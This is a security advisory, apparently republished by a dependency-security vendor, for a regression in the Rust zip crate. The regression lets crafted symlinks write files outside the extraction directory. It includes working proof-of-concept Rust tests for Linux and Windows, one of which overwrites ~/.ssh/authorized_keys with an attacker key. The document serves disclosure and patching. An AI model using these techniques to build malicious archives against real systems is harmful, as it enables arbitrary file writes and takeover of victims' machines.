
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: >= 7.2.0, < 9.0.0
Patched in 9.0.0
Details
9.0.0-pre37.2.0 and laterThe validation applied to symlinks is purely lexical.
As a result, an attacker can write arbitrary files outside the extraction directory through a symlink.
Exploitation requires the attacker to know (or guess) the absolute path of the destination, but this is realistic in practice: CI workspaces, /opt/app, a fixed Downloads path, and so on.
Impact extends further on Windows (verified on real hardware for both the separate-drive and UNC-share cases):
Becausesimplified_componentsdiscards thePrefixcomponent, paths likeD:\<same tail as dest>or a UNC path\\attacker\share\<same tail>pass thestarts_withcheck.
As a result,outpath.pushgets replaced onto a different drive/remote share, so a single symlink is enough — no intermediate symlink chain is required.
That said, creating a symlink on Windows requiresSeCreateSymbolicLinkPrivilege(administrator rights or Developer Mode enabled). Real-hardware verification (Windows 10 VM (19045.2604),tests/poc_win.rs):
With the extraction target set to a temporary directory underC:, both of the following paths returnedOk(())fromextract()and successfully wrote outside the extraction target.
In both casesextract()returned no error (Ok(())), and it was confirmed that the contents ofpwned.txtmatched the attacker-specified value.
This is not a duplicate of the existing CVE-2025-29787 (2025-03); rather, the protection introduced for that CVE was subsequently lost.
| commit | Date | Description |
|---|---|---|
d4539d6b | 2025-02-28 | Initial fix for CVE-2025-29787. Canonicalizes output paths and symlink targets and verifies they descend from the destination |
0199ac2c | 2025-03-15 | Before the v2.3.0 release, the above is replaced with a lexical check based on simplified_components |
v2.3.0 | 2025-03-16 | Released as the CVE fix. What actually shipped is the lexical check |
d5cf4b55 | 2026-01-18 | Changes how simplified_components handles absolute paths, from rejecting them to silently stripping them (released in v7.2.0) |
The safe_prepare_path in v2.3.0 performs essentially the same lexical check as the current code. However, simplified_components at that time rejected any path containing an absolute component, so an absolute symlink target was never accepted in the first place and this attack path did not work.
// v2.3.0: reject absolute paths
Component::Prefix(_) | Component::RootDir => return None,
// Current: ignore the fact that the path is absolute
Utf8WindowsComponent::Prefix(_) | Utf8WindowsComponent::RootDir => (),
d5cf4b55 was intended to make archives containing absolute path names extractable, but as a side effect absolute symlink targets now pass the lexical check, which silently removed the protection against CVE-2025-29787.
The following three cases were compared using the same build (9.0.0-pre3):
| Payload / condition | Result |
|---|---|
Original PoC for CVE-2025-29787 (relative symlink parent -> ../) | Blocked with Err(InvalidArchive("Invalid symlink target path")) (the CVE fix itself is effective) |
| PoC in this report (two-stage symlink using absolute paths) | Succeeds with Ok(()), writing outside the destination |
PoC in this report, with the d5cf4b55 change reverted to return None | Blocked with Err(InvalidArchive("Invalid symlink target path")) |
The first row shows that the fix for the CVE itself still works, confirming that this report is not a duplicate.
The third row confirms that this vulnerability originates from the change in d5cf4b55.
AC:H). The CVE worked with a relative ../ and had no such precondition.ZipArchive::extract (and extract_unwrapped_root_dir). ZipStreamReader::extract is not affected, because external_attributes in the local header is 0 and therefore is_symlink() never returns true (the CVE affected both APIs).The symlink validation in src/read/zipfile.rs: L290-345 is lexical.
src/read/zipfile.rs: fn safe_prepare_path (L316-321):
if !crate::path::simplified_components(&target)
.ok_or(invalid!("Invalid symlink target path"))?
.starts_with(
&crate::path::simplified_components(base_path)
.ok_or(invalid!("Invalid base path"))?,
)
simplified_components discards the information that a path is absolute (drive prefix / root), normalizes it lexically, and then merely performs a prefix comparison between the two results. It never looks at how the path actually resolves on the file system.
Consequently, the classic Zip Slip vector using .. is blocked, but paths that involve symlink resolution are not.
src/path.rs: fn simplified_components (L9~26):
/// Simplify a path by removing the prefix and parent directories and only return normal components
pub(crate) fn simplified_components(input: &Path) -> Option<Vec<&OsStr>> {
let mut out = Vec::new();
let input_str = input.to_str()?;
for component in Utf8WindowsPath::new(input_str).components() {
match component {
// Skip prefix and root directory components instead of rejecting the entire path
// This allows extraction of ZIP files with absolute paths, similar to other ZIP tools
Utf8WindowsComponent::Prefix(_) | Utf8WindowsComponent::RootDir => (),
Utf8WindowsComponent::ParentDir => {
out.pop()?;
}
Utf8WindowsComponent::Normal(s) => out.push(OsStr::new(s)),
Utf8WindowsComponent::CurDir => (),
}
}
Some(out)
}
targetOnce the path check passes, src/read/zipfile.rs: fn safe_prepare_path (L345) performs outpath.push(target), but whether any intermediate component of target is itself a symlink is never checked.
In addition, make_symlink, which is called from extract_internal, delegates to make_symlink_impl and only validates that the archive-supplied target is valid UTF-8.
There is no check that target stays inside the destination, so the symlink is created as-is.
src/read/mod.rs: fn extract_internal (L396-406):
#[cfg(any(unix, windows))]
if file.is_symlink() {
let mut target = Vec::with_capacity(file.size() as usize);
file.read_to_end(&mut target)?;
drop(file);
make_symlink(&outpath, &target, &self.shared.files)?;
continue;
} else if file.is_dir() {
make_writable_dir_all(&outpath)?;
continue;
}
src/read/mod.rs: fn make_symlink_impl (L57-90):
#[cfg(unix)]
pub(crate) fn make_symlink_impl<T>(
outpath: &Path,
target_str: &str,
_existing_files: &IndexMap<Box<[u8]>, T>,
) -> ZipResult<()> {
std::os::unix::fs::symlink(Path::new(&target_str), outpath)?;
Ok(())
}
#[cfg(windows)]
pub(crate) fn make_symlink_impl<T>(
outpath: &Path,
target_str: &str,
existing_files: &IndexMap<Box<[u8]>, T>,
) -> ZipResult<()> {
use crate::format::functions::is_dir;
let target = Path::new(OsStr::new(&target_str));
let target_is_dir_from_archive =
is_dir(target_str.as_bytes()) && existing_files.contains_key(target_str.as_bytes());
let target_is_dir = if target_is_dir_from_archive {
true
} else if let Ok(meta) = std::fs::metadata(target) {
meta.is_dir()
} else {
false
};
if target_is_dir {
std::os::windows::fs::symlink_dir(target, outpath)?;
} else {
std::os::windows::fs::symlink_file(target, outpath)?;
}
Ok(())
}
The documentation comment of extract at src/read/mod.rs: L266-269 states the following.
In reality, however, there is no validation when a symlink is created, and canonicalize is not used to validate symlink targets (canonicalize is used only in src/read/mod.rs: fn extract_internal (L357), to normalize the destination directory itself).
/// Extract a Zip archive into a directory, overwriting files if they
/// already exist. Paths are sanitized with [`ZipFile::enclosed_name`]. Symbolic links are only
/// created and followed if the target is within the destination directory (this is checked
/// conservatively using [`std::fs::canonicalize`]).
Combining the above makes it possible to write outside the destination during extraction:
| entry | kind | target |
|---|---|---|
| b | symlink | /…/outside (created without validation) |
| a | symlink | <dest>/b/sub (lexically under dest, so it passes the check) |
| a/pwned.txt | file | - |
Entries are processed in central directory order (for i in 0..self.len() at src/read/mod.rs: L386), so the order above (b -> a -> a/pwned.txt) is required.
Extraction then proceeds as follows:
b: without any validation, the symlink <dest>/b -> /…/outside, pointing outside the destination, is created.a: likewise without validation, <dest>/a -> <dest>/b/sub is created.a/pwned.txt: when safe_prepare_path processes the component a, it sees that <dest>/a is a symlink and validates its target (<dest>/b/sub). Lexically that target is under <dest>, so the check passes and outpath becomes <dest>/b/sub.
b, an intermediate component of the target, is a symlink pointing outside is never re-validated.a is not the final component, make_writable_dir_all is called and creates <dest>/b/sub (which really is /…/outside/sub).File::create creates <dest>/b/sub/pwned.txt; the kernel resolves b and writes to /…/outside/sub/pwned.txt. extract() returns Ok(()).The PoC below is written as a unit test.
Place it at tests/poc_linux.rs and run cargo test --test poc_linux -- --nocapture to reproduce.
zip_slip_via_symlink: Write a new file outside the extraction destinationoverwrite_existing_ssh_authorized_keys: Overwrite an existing file ~/.ssh/authorized_keys outside the extraction destinationtests/poc_linux.rs
//! PoC for Linux: Write outside the extraction directory via symlink (GHSA-hjqx-j4rw-g7xv)
//!
//! - author: sl91994
//!
//! Mechanism: The symlink target validation is lexical (prefix matching in `simplified_components`)
//! By placing an outward-pointing symlink `b` as an "intermediate component in the resolved path", `b` is traversed by the OS rather than the validation loop, thus escaping outside without being verified.
//! Can be reproduced with `cargo test --test poc_linux -- --nocapture`
#![cfg(unix)]
use std::fs;
use std::io::{Cursor, Write};
use tempfile::TempDir;
use zip::write::SimpleFileOptions;
use zip::{ZipArchive, ZipWriter};
/// Verification of writing a new file outside the extraction destination
#[test]
fn zip_slip_via_symlink() {
let tmp = TempDir::new().unwrap();
let dest = tmp.path().join("dest"); // Extraction destination
let outside = tmp.path().join("outside"); // A location where writing should not be allowed
fs::create_dir(&dest).unwrap();
fs::create_dir(&outside).unwrap();
// Construct a malicious ZIP
let mut zip = ZipWriter::new(Cursor::new(Vec::new()));
let opt = SimpleFileOptions::default();
// b: Symlink pointing outside (target is created unverified)
zip.add_symlink("b", outside.to_str().unwrap(), opt).unwrap();
// a: Symlink whose target starts under dest (passes lexical validation)
zip.add_symlink("a", dest.join("b/sub").to_str().unwrap(), opt).unwrap();
// a/pwned.txt: File that escapes outside dest by traversing the intermediate b
zip.start_file("a/pwned.txt", opt).unwrap();
zip.write_all(b"escaped!").unwrap();
let archive = zip.finish_into_readable().unwrap();
ZipArchive::from(archive).extract(&dest).unwrap();
// Verification: File has been written outside dest
let escaped = outside.join("sub/pwned.txt");
assert!(escaped.exists(), "escape failed");
assert_eq!(fs::read_to_string(&escaped).unwrap(), "escaped!");
println!("wrote outside dest: {}", escaped.display());
}
/// Verification of overwriting an existing file (~/.ssh/authorized_keys) outside the extraction destination
#[test]
fn overwrite_existing_ssh_authorized_keys() {
let tmp = TempDir::new().unwrap();
let dest = tmp.path().join("dest"); // Extraction destination
// Reproduce victim's existing ~/.ssh/authorized_keys (containing a legitimate key)
let home = tmp.path().join("home_victim");
let ssh = home.join(".ssh");
fs::create_dir_all(&ssh).unwrap();
let authorized_keys = ssh.join("authorized_keys");
fs::write(&authorized_keys, "ssh-ed25519 AAAA...LEGIT victim@host\n").unwrap();
let original = fs::read_to_string(&authorized_keys).unwrap();
fs::create_dir(&dest).unwrap();
// Construct a malicious ZIP
let mut zip = ZipWriter::new(Cursor::new(Vec::new()));
let opt = SimpleFileOptions::default();
// b: Outward-pointing symlink to victim's HOME (target unverified)
// Because it's placed in the middle rather than at the end, the OS traverses it transparently, bypassing validation
zip.add_symlink("b", home.to_str().unwrap(), opt).unwrap();
// a: Symlink pointing to <dest>/b/.ssh (passes validation because it is lexically under dest)
zip.add_symlink("a", dest.join("b/.ssh").to_str().unwrap(), opt).unwrap();
// a/authorized_keys: File entry that reaches the actual authorized_keys
zip.start_file("a/authorized_keys", opt).unwrap();
zip.write_all(b"ssh-ed25519 AAAA...ATTACKER attacker@evil\n").unwrap();
let archive = zip.finish_into_readable().unwrap();
// extract() returns Ok(()) without an error (the caller cannot detect it)
let res = ZipArchive::from(archive).extract(&dest);
println!("extract() returned: {:?}", res);
res.unwrap();
// Verification: Existing file is overwritten with the attacker's content
let after = fs::read_to_string(&authorized_keys).unwrap();
println!("--- BEFORE ---\n{original}--- AFTER ---\n{after}");
assert_ne!(after, original, "file was NOT overwritten");
assert!(after.contains("ATTACKER"), "attacker content not present");
println!("OVERWROTE existing file: {}", authorized_keys.display());
}
tests/poc_win.rs)This is a test that verifies escape to a different drive / UNC share via a single symlink, specific to Windows.
By setting the extraction destination to a temporary directory on C: and making the symlink target an absolute path on a different volume that shares the same tail as dest, it passes the lexical check in simplified_components (which discards the Prefix), and the drive/share substitution performed by outpath.push results in a write outside of dest.
escape_via_second_drive: writes to E:\<same tail as dest>\evil\pwned.txt on a separate drive (e.g. E:)escape_via_unc_share: writes to \\localhost\poc\<same tail as dest>\evil\pwned.txt on a UNC share (e.g. \\localhost\poc\)//! Windows PoC: writing to a separate drive / UNC share via a single symlink (GHSA-hjqx-j4rw-g7xv)
//!
//! - author: sl91994
//!
//! The crafted ZIP contains only 2 entries:
//! 1. `a` : a symlink whose target = `<OTHER>\<same tail as dest>\evil` (absolute path)
//! 2. `a/pwned.txt`: a regular file
//! During extraction, resolving `a` causes outpath to be replaced with `<OTHER>\...\evil`,
//! and `File::create(<OTHER>\...\evil\pwned.txt)` writes outside of dest.
//!
//! # Prerequisites
//! - Windows 10 (build 14972+) through Windows 11
//! - Symlink creation privilege `SeCreateSymbolicLinkPrivilege` = Developer Mode enabled, or run as Administrator.
//! - One volume / share **separate from dest**.
//! Supply the escape destination via environment variables:
//! * `POC_OTHER_DRIVE`: root of a separate drive. Must end with `\`. e.g. `D:\`
//! * `POC_UNC_SHARE`: root of a writable UNC share. Must end with `\`.
//! e.g. `\\localhost\poc\`
//! (`net share poc=C:\path\to\share /grant:%USERNAME%,FULL`)
//!
//! # Running
//!
//! ```powershell
//! $env:POC_OTHER_DRIVE = "D:\"
//! $env:POC_UNC_SHARE = "\\localhost\poc\"
//! cargo test --test poc_win -- --nocapture
//! ```
#![cfg(windows)]
use std::ffi::OsString;
use std::fs;
use std::io::{Cursor, Write};
use std::path::{Component, Path, PathBuf};
use tempfile::TempDir;
use zip::write::SimpleFileOptions;
use zip::{ZipArchive, ZipWriter};
/// Whether we have the privilege needed to create symlinks
fn have_symlink_privilege() -> bool {
let Ok(tmp) = TempDir::new() else {
return false;
};
let target = tmp.path().join("privcheck_target");
let link = tmp.path().join("privcheck_link");
if fs::write(&target, b"x").is_err() {
return false;
}
std::os::windows::fs::symlink_file(&target, &link).is_ok()
}
/// Extract only the Normal components of a path (the tail, with prefix / root dropped)
fn normal_tail(p: &Path) -> Vec<OsString> {
p.components()
.filter_map(|c| match c {
Component::Normal(s) => Some(s.to_os_string()),
_ => None,
})
.collect()
}
/// Returns the `Prefix` (volume identifier) at the head of the path
fn volume_prefix(p: &Path) -> Option<OsString> {
match p.components().next() {
Some(Component::Prefix(pre)) => Some(pre.as_os_str().to_os_string()),
_ => None,
}
}
/// Verifies the single-symlink escape using the escape destination root `other_root` (a separate volume / share)
fn run_escape(variant: &str, other_root: &str) {
if !have_symlink_privilege() {
eprintln!(
"[SKIP] [{variant}] missing SeCreateSymbolicLinkPrivilege; \
enable Developer Mode or run as Administrator."
);
return;
}
// other_root must be an existing, writable root
let other_root_path = PathBuf::from(other_root);
if !fs::metadata(&other_root_path)
.map(|m| m.is_dir())
.unwrap_or(false)
{
eprintln!(
"[SKIP] [{variant}] escape root {other_root:?} does not exist or is not a \
directory; check the environment variable."
);
return;
}
// The extraction destination `dest` is a temp directory (usually on C:). Since the `base` used by
// safe_prepare_path is the path after canonicalize, match the tail to that.
let tmp = TempDir::new().unwrap();
let dest = tmp.path().join("dest");
fs::create_dir(&dest).unwrap();
let canon_dest = fs::canonicalize(&dest).unwrap();
let tail = normal_tail(&canon_dest);
// Reproduce dest's tail on a separate volume as the escape destination, with evil/ underneath it.
// Since simplified_components discards the prefix, the target's tail component sequence
// prefix-matches the base's tail component sequence, passing the lexical check.
let mut escape_dir = other_root_path.clone();
for c in &tail {
escape_dir.push(c);
}
escape_dir.push("evil");
// Confirm it's actually a separate volume (if it's the same volume, it would land inside dest and not be an escape)
let other_vol = fs::canonicalize(&other_root_path)
.ok()
.and_then(|p| volume_prefix(&p));
let dest_vol = volume_prefix(&canon_dest);
assert_ne!(
other_vol, dest_vol,
"[{variant}] escape root {other_root:?} is on the same volume as dest; \
point it at a different drive/share (dest vol={dest_vol:?})."
);
// Assemble the crafted ZIP (entries: 1 symlink + 1 file)
let target_str = escape_dir
.to_str()
.expect("escape path must be valid UTF-8")
.to_string();
println!("[{variant}] dest (canonical) = {}", canon_dest.display());
println!("[{variant}] symlink target = {target_str}");
let mut zip = ZipWriter::new(Cursor::new(Vec::new()));
let opt = SimpleFileOptions::default();
// a: an absolute symlink pointing to the separate drive/share (passes the lexical check via matching tail)
zip.add_symlink("a", &target_str, opt).unwrap();
// a/pwned.txt: resolving `a` substitutes the drive in outpath, causing the write to land outside dest
zip.start_file("a/pwned.txt", opt).unwrap();
zip.write_all(b"escaped-on-windows!").unwrap();
let archive = zip.finish_into_readable().unwrap();
let res = ZipArchive::from(archive).extract(&dest);
println!("[{variant}] extract() returned: {res:?}");
res.expect("extract() failed");
let escaped = escape_dir.join("pwned.txt");
assert!(
escaped.exists(),
"[{variant}] escape failed: {} was not created",
escaped.display()
);
let content = fs::read_to_string(&escaped).unwrap();
println!(
"[{variant}] WROTE OUTSIDE DEST: {} = {content:?}",
escaped.display()
);
let _ = fs::remove_file(&escaped);
let _ = fs::remove_dir(&escape_dir);
assert_eq!(
content, "escaped-on-windows!",
"[{variant}] written content mismatch",
);
}
/// Single-symlink escape to a separate drive (`POC_OTHER_DRIVE`, e.g. `D:\`)
#[test]
fn escape_via_second_drive() {
match std::env::var("POC_OTHER_DRIVE") {
Ok(root) if !root.is_empty() => run_escape("drive", &root),
_ => eprintln!(
"[SKIP] escape_via_second_drive: POC_OTHER_DRIVE not set \
(PowerShell: `$env:POC_OTHER_DRIVE=\"D:\\\"`)."
),
}
}
/// Single-symlink escape to a UNC share (`POC_UNC_SHARE`, e.g. `\\localhost\poc\`)
#[test]
fn escape_via_unc_share() {
match std::env::var("POC_UNC_SHARE") {
Ok(root) if !root.is_empty() => run_escape("unc", &root),
_ => eprintln!(
"[SKIP] escape_via_unc_share: POC_UNC_SHARE not set \
(PowerShell: `$env:POC_UNC_SHARE=\"\\\\localhost\\poc\\\"`)."
),
}
}
With the privileges of the process that extracts an untrusted ZIP archive via ZipArchive::extract / ZipArchive::extract_unwrapped_root_dir, an attacker can write a file with arbitrary contents to an arbitrary path outside the extraction directory.
~/.ssh/authorized_keys, ~/.bashrc, .git/hooks/*, CI configuration, or a service's binaries and configuration files may lead to remote code execution or privilege escalation. Destroying critical files can also cause denial of service.Ok(()), so the caller has no straightforward way to detect the attack.extract() explicitly states that symbolic links are only created and followed if the target is within the destination directory, so downstream applications that rely on this as a sandbox boundary are directly affected.Exploitation requires the absolute path of the destination to be known, but this is realistic in practice: CI workspaces, /opt/<app>, a fixed Downloads directory, and so on.
EPSS, exploit probability
Low0.43%
estimated chance of real-world exploitation in the next 30 days, higher than 37.5% of every CVE FIRST.org scores
Refreshed 10/29/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.